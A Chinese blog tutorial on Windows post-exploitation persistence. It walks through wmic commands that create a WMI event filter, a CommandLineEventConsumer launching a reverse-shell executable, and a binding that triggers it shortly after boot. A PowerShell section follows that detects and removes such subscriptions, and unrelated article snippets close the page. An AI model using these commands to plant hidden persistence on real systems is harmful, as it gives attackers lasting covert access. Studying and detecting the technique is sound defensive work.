当前位置: 首页 > news >正文

内网权限维持——利用WMI进行权限维持

文章目录

  • 一、WMI事件订阅机制简介
  • 二、利用事件订阅进行权限维持
  • 三、防御方式

一、WMI事件订阅机制简介

WMI(Windows Management Instrumentation,Windows管理规范)是windows提供的一种能够直接与系统进行交互的机制,旨在为系统中运行的各程序界定一套独立于环境的标准,允许系统中允许的程序相互交流系统的程序管理信息。

WMI事件是Windows管理架构中的一部分,它可以监视应用程序的运行、响应系统和应用程序的事件。通过使用WMI事件,应用程序可以接收系统各类通知,并且在特定事件发生时采取相应的措施。例如,磁盘空间不足时可以通过WMI事件来发出警报等。WMI事件可以通过编写WMI查询或使用WMI事件订阅API来捕获。

WMI事件订阅是一种消息机制,用来监听事件类的触发。简单来书,设置一个监听磁盘空间不足的事件订阅,程序可以在磁盘不足的第一时间接收到WMI的告警。事件订阅中有很多类,这里主要关注以下类:

类名作用
EventFilter触发器
EventConsumer执行动作
FilterToConsumerBinding绑定过滤器和消费者类(负责捆绑EventFilter和EventConsumer)

二、利用事件订阅进行权限维持

1、WQL是一种类似SQL的查询语句,是WMI提供的一种用于WMI查询或WMI事件订阅的语句。在命令行中输入wbemtest,打开Windows Management Instrumentation测试器来通过WQL语句查询系统信息。

wbemtest

在这里插入图片描述
打开后进入一个命名空间,点击“连接”——“查询”。
在这里插入图片描述
在这里插入图片描述
使用WQL查询当前系统中所有进程的PID。

select * from Win32_Process

在这里插入图片描述
此外,还有其他查询语句。

# 获取主机名
select * from Win32_ComputerSystem
# 获取BOIS信息
select * from Win32_BOIS
# 获取键盘信息
select * from Win32_Keyboard
# 获取服务列表
select * from Win32_Service
# 获取磁盘列表
select * from Win32_LogicalDisk
# 获取光驱信息
select * from Win32_CDROMDriver

2、利用WMI通知查询的方式来监听windows打印机任务,选择“通知查询”。并使用如下WQL语句:

select * from __InstanceCreationEvent within 0.001 where TargetInstance ISA "Win32_PrintJob"
# __InstanceCreateEvent:代表windows事件类
# within 0.001:代表轮询时间,轮询时间为0.001s,可以理解为每毫秒查询一次该事件
# TargetInstance:实例名称
# ISA:等于
# Win32_PrintJob:打印机名称

3、我们可以将通知查询和执行动作进行捆绑,捆绑之后,系统触发某项查询规则时会立即执行对应动作。首先创建一个触发器,代码如下:

# 在系统初始化之后的第60秒将会进行通知
wmic /namespace:"\\root\subscription" PATH __EventFilter create Name="Testone",EventNameSpace="root\cimv2",Querylanguage="WQL",Query="select * from __InstanceModificationEvent within 60 where TargetInstance ISA "Win32_PerfFormattedData_PerfOS_SYSTEM""
# __EventFilter:触发器
# Testone:触发器名称
# 触发的通知条件由Query决定
# Win32_PerfFormattedData_PerfOS_SYSTEM:windows系统初始化

在这里插入图片描述4、创建好触发器后,需要绑定一个对应的执行动作,也就是触发器在查询到想要的内容后就会触发绑定的执行动作。执行动作需要将命名空间指定为触发器所设置的命名空间,创建执行动作可以使用EventConsumer来完成。当然,需要生成反弹shell,设置监听器哈!

# 当Testone时间被触发后,C:\tmp\reverse_shell.exe将会被执行
wmic /namespace:"\\root\subscription" PATH CommandLineEventConsumer create Name="Testone",ExecutablePath="C:\tmp\reverse_shell.exe",CommandLineTemplate="C:\tmp\reverse_shell.exe"

在这里插入图片描述
5、使用FilterToConsumerBinding来绑定刚刚所创建的触发器和执行动作。

# 绑定触发器和执行动作
wmic /namespace:"\\root\subscription" PATH __FilterToConsumerBinding create Filter="__EventFilter.Name=\"Testone\"",Consumer="CommandLineEventConsumer.Name=\"Testone\""

在这里插入图片描述
6、重启计算,在系统进行初始化工作(重启/重新登录)的第60秒,获取反弹shell。
在这里插入图片描述

三、防御方式

# 查询系统所有命名空间
Get-WmiObject -Namespace root -List -Recurse | Select -Unique __NAMESPACE
# 查询root\subscription命名空间中是否存在执行恶意命令的触发器
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | select CommandLineTemplate,ExecutablePath

在这里插入图片描述

# 列出事件过滤器
Get-WMIObject -Namespace root\Subscription -Class __EventFilter

在这里插入图片描述

# 列出事件消费者
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

在这里插入图片描述

# 列出事件绑定
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

在这里插入图片描述

# 删除事件过滤器
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='Testone'" | Remove-WmiObject -Verbose

在这里插入图片描述

# 删除事件消费者
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='Testone'" | Remove-WmiObject -Verbose

在这里插入图片描述

# 删除事件绑定
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%Testone%'" | Remove-WmiObject -Verbose

在这里插入图片描述

# 查询root\subscription命名空间中是否存在执行恶意命令的触发器
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | select CommandLineTemplate,ExecutablePath

在这里插入图片描述
至此,系统初始化后的第60s,不会运行反弹shell脚本。

相关文章:

内网权限维持——利用WMI进行权限维持

文章目录 一、WMI事件订阅机制简介二、利用事件订阅进行权限维持三、防御方式 一、WMI事件订阅机制简介 WMI(Windows Management Instrumentation,Windows管理规范)是windows提供的一种能够直接与系统进行交互的机制,旨在为系统中…...

【数据结构算法经典题目刨析(c语言)】括号匹配问题(图文详解)

💓 博客主页:C-SDN花园GGbond ⏩ 文章专栏:数据结构经典题目刨析(c语言) 目录 一、题目描述 二、解题思路 三、代码实现 一、题目描述 二、解题思路 问题要求将三种类型括号匹配,其中包括顺序匹配和数量匹配 使用栈的后进先…...

浅谈 Spring AOP框架 (1)

文章目录 一、什么是 Spring AOP二、为什么要使用 Spring AOP三、AOP 的一些应用场景四、AOP 的组成五、如何使用 Spring AOP六、Spring AOP 的实现原理6.1、JDK 和 CGLIB 的区别 一、什么是 Spring AOP AOP (Aspect Oriented Programming) :面向切面编程&#xff…...

Linux 面试准备 - 2024

复习一下,资料来自慕课网课程 Linux 速成班和一些网上面试资料。 1. Linux 内核功能 1. 内存管理 2. 进程管理 3. 设备驱动程序 4. 系统调用和安全防护 2. 文件系统 - 一切皆文件 2.1 文件目录 /根目录etc配置文件bin必要命令usr 二级目录(非用户…...

C++笔记---类和对象(中)

1. 类的默认成员函数 默认成员函数就是用户没有显式实现,编译器会自动生成的成员函数称为默认成员函数。 一个类,我们不写的情况下编译器会默认生成以下6个默认成员函数,分别为:构造函数,析构函数,拷贝构…...

【C++】入门基础知识

河流之所以能够到达目的地,是因为它懂得怎样避开障碍。💓💓💓 目录 ✨说在前面 🍋知识点一:C的发展历史 • 🌰1.C发展历史 • 🌰2.C的迭代与更新 • 🌰3.编程语言排…...

AI的应用场景和未来展望

AI(人工智能)的应用场景广泛且多样,已经深入到我们生活的方方面面,成为现代社会不可或缺的一部分。 AI的应用场景 1、通用软件与工具型应用 办公软件:如钉钉、飞书等,通过AI技术提供内容生成与摘要、智能…...

vim、sublime、notepad文本编辑器的使用

VIM: Windows上配置gvim并作为C和C的IDE Windows上配置gvim并作为C和C的IDE | Reasuon sublime notepad...

PyCharm中的外部更改识别:终极解决方案指南

标题:PyCharm中的外部更改识别:终极解决方案指南 引言 PyCharm,作为JetBrains公司开发的集成开发环境(IDE),以其强大的功能和高效的代码编辑体验而广受开发者喜爱。然而,在开发过程中&#xf…...

Qt——QTCreater ui界面如何统一设置字体

第一步:来到 ui 设计界面,鼠标右键点击 改变样式表 第二步:选择添加字体 第三步:选择字体样式和大小,点击 ok 第四步:点击ok或apply,完成设置...

Linux驱动入门实验班day03-GPIO子系统概述

3.通用框架1——最简单方式1:执行命令cat /sys/kernel/debug/gpio查看串口信息 gpio4对应的下列 方式2: 对于按键GPIO4_14:对应第四组第14个引脚 gpiochip3 ,从96开始, 9614110;...

240803-沉侵式翻译插件配置Ollama的API实现网页及PDF文档的翻译

1. 在插件中点击Options按钮 2. 在开发者模式中启动Enable Beta Testing Features 3 在General中进行设置 ## 4. 在Expand中设置API的URL 5. Qwen:0.5B网页翻译效果 6. Qwen:0.5BPDF翻译效果 7. 参考文献 gemma - 给沉浸式翻译插件配置本地大模型o…...

HTML-08.表单标签

一.表单标签 场景&#xff1a;在网页中主要负责数据采集功能&#xff0c;如注册、登录等数据采集 标签&#xff1a;<form> 表单项&#xff1a;不同类型的input元素、下拉列表、文本域等 <input>:定义表单项。通过type属性控制输入形式 <select>:定义下拉列表…...

SAP ABAP se16n 双击跳转实现

参考老白 SAP小技巧 改造SE16N(九 双击跳转及字段描述优化) (qq.com) se16n 双击跳转实现 我的实现 se38 lse16nlcl 287行 call method cl_gui_control>set_focusexporting control alv_grid. *.....at the moment do detail view on double clickCALL METHOD cl_gu…...

Linux shell编程学习笔记68: curl 命令行网络数据传输工具 选项数量雷人(上)

0 前言 在网络时代&#xff0c;有经常需要在网络上传输数据&#xff0c;时我们需要通过网络下载文件&#xff0c;为了满足这种时代需要&#xff0c;Linux提供了众多网络命令&#xff0c;我们今天先研究curl命令。例如&#xff0c;我们可以使用 curl 从 URL 下载文件&#xff0…...

马尔科夫决策过程

马尔科夫决策过程 贝尔曼方程 贝尔曼方程&#xff08;Bellman Equation&#xff09;是动态规划中的一个核心概念&#xff0c;用于解决最优决策问题。贝尔曼方程通过递归的方式&#xff0c;将问题分解为子问题&#xff0c;从而使得最优策略的求解变得可行。贝尔曼方程广泛应用…...

未知攻焉知防:从攻击者视角看网络安全的“攻守之道”

自首届网络安全攻防实战演练开展以来&#xff0c;这一活动已成为网络安全领域备受关注的大事件。今年&#xff0c;攻防实战演练更上升到了一个全新高度&#xff0c;包括行动任务数量、演练周期时长、攻击强度以及演练类别等&#xff0c;较以往都有极大提升&#xff0c;堪称“史…...

数字孪生赋能智慧城市大脑智建设方案(可编辑65页PPT)

引言&#xff1a;随着科技的飞速发展&#xff0c;智慧城市的建设已成为全球城市发展的新趋势。数字孪生技术作为其中的关键技术之一&#xff0c;正逐步赋能智慧城市大脑的建设&#xff0c;推动城市治理从数字化向智能化、智慧化转型升级。本方案旨在简要介绍数字孪生赋能智慧城…...

c++----内存管理

okk&#xff0c;大家好。我们大家学习了鄙人的前面前面几篇博客&#xff0c;并且还稍微使用了一些c的基础知识。并且我们前面都说过&#xff0c;我们前面学习的知识都说过。我们前面的几篇博客都是我们以后使用c基础。但是我们大家都知道现在代码都关注什么时间啊&#xff0c;内…...

C++——哈希结构

1.unordered系列关联式容器 本节主要介绍unordered_map和unordered_set两个容器&#xff0c;底层使用哈希实现的 unordered_map 1.unordered_map是储存<key,value>键值对的关联式容器&#xff0c;其允许通过key快速查找到对应的value&#xff0c;和map非常相似&#x…...

React19源码系列之 事件插件系统

事件类别 事件类型 定义 文档 Event Event 接口表示在 EventTarget 上出现的事件。 Event - Web API | MDN UIEvent UIEvent 接口表示简单的用户界面事件。 UIEvent - Web API | MDN KeyboardEvent KeyboardEvent 对象描述了用户与键盘的交互。 KeyboardEvent - Web…...

屋顶变身“发电站” ,中天合创屋面分布式光伏发电项目顺利并网!

5月28日&#xff0c;中天合创屋面分布式光伏发电项目顺利并网发电&#xff0c;该项目位于内蒙古自治区鄂尔多斯市乌审旗&#xff0c;项目利用中天合创聚乙烯、聚丙烯仓库屋面作为场地建设光伏电站&#xff0c;总装机容量为9.96MWp。 项目投运后&#xff0c;每年可节约标煤3670…...

从零实现STL哈希容器:unordered_map/unordered_set封装详解

本篇文章是对C学习的STL哈希容器自主实现部分的学习分享 希望也能为你带来些帮助~ 那咱们废话不多说&#xff0c;直接开始吧&#xff01; 一、源码结构分析 1. SGISTL30实现剖析 // hash_set核心结构 template <class Value, class HashFcn, ...> class hash_set {ty…...

人机融合智能 | “人智交互”跨学科新领域

本文系统地提出基于“以人为中心AI(HCAI)”理念的人-人工智能交互(人智交互)这一跨学科新领域及框架,定义人智交互领域的理念、基本理论和关键问题、方法、开发流程和参与团队等,阐述提出人智交互新领域的意义。然后,提出人智交互研究的三种新范式取向以及它们的意义。最后,总结…...

【Elasticsearch】Elasticsearch 在大数据生态圈的地位 实践经验

Elasticsearch 在大数据生态圈的地位 & 实践经验 1.Elasticsearch 的优势1.1 Elasticsearch 解决的核心问题1.1.1 传统方案的短板1.1.2 Elasticsearch 的解决方案 1.2 与大数据组件的对比优势1.3 关键优势技术支撑1.4 Elasticsearch 的竞品1.4.1 全文搜索领域1.4.2 日志分析…...

Elastic 获得 AWS 教育 ISV 合作伙伴资质,进一步增强教育解决方案产品组合

作者&#xff1a;来自 Elastic Udayasimha Theepireddy (Uday), Brian Bergholm, Marianna Jonsdottir 通过搜索 AI 和云创新推动教育领域的数字化转型。 我们非常高兴地宣布&#xff0c;Elastic 已获得 AWS 教育 ISV 合作伙伴资质。这一重要认证表明&#xff0c;Elastic 作为 …...

算术操作符与类型转换:从基础到精通

目录 前言&#xff1a;从基础到实践——探索运算符与类型转换的奥秘 算术操作符超级详解 算术操作符&#xff1a;、-、*、/、% 赋值操作符&#xff1a;和复合赋值 单⽬操作符&#xff1a;、--、、- 前言&#xff1a;从基础到实践——探索运算符与类型转换的奥秘 在先前的文…...

篇章二 论坛系统——系统设计

目录 2.系统设计 2.1 技术选型 2.2 设计数据库结构 2.2.1 数据库实体 1. 数据库设计 1.1 数据库名: forum db 1.2 表的设计 1.3 编写SQL 2.系统设计 2.1 技术选型 2.2 设计数据库结构 2.2.1 数据库实体 通过需求分析获得概念类并结合业务实现过程中的技术需要&#x…...

Qt的学习(一)

1.什么是Qt Qt特指用来进行桌面应用开发&#xff08;电脑上写的程序&#xff09;涉及到的一套技术Qt无法开发网页前端&#xff0c;也不能开发移动应用。 客户端开发的重要任务&#xff1a;编写和用户交互的界面。一般来说和用户交互的界面&#xff0c;有两种典型风格&…...

C# winform教程(二)----checkbox

一、作用 提供一个用户选择或者不选的状态&#xff0c;这是一个可以多选的控件。 二、属性 其实功能大差不差&#xff0c;除了特殊的几个外&#xff0c;与button基本相同&#xff0c;所有说几个独有的 checkbox属性 名称内容含义appearance控件外观可以变成按钮形状checkali…...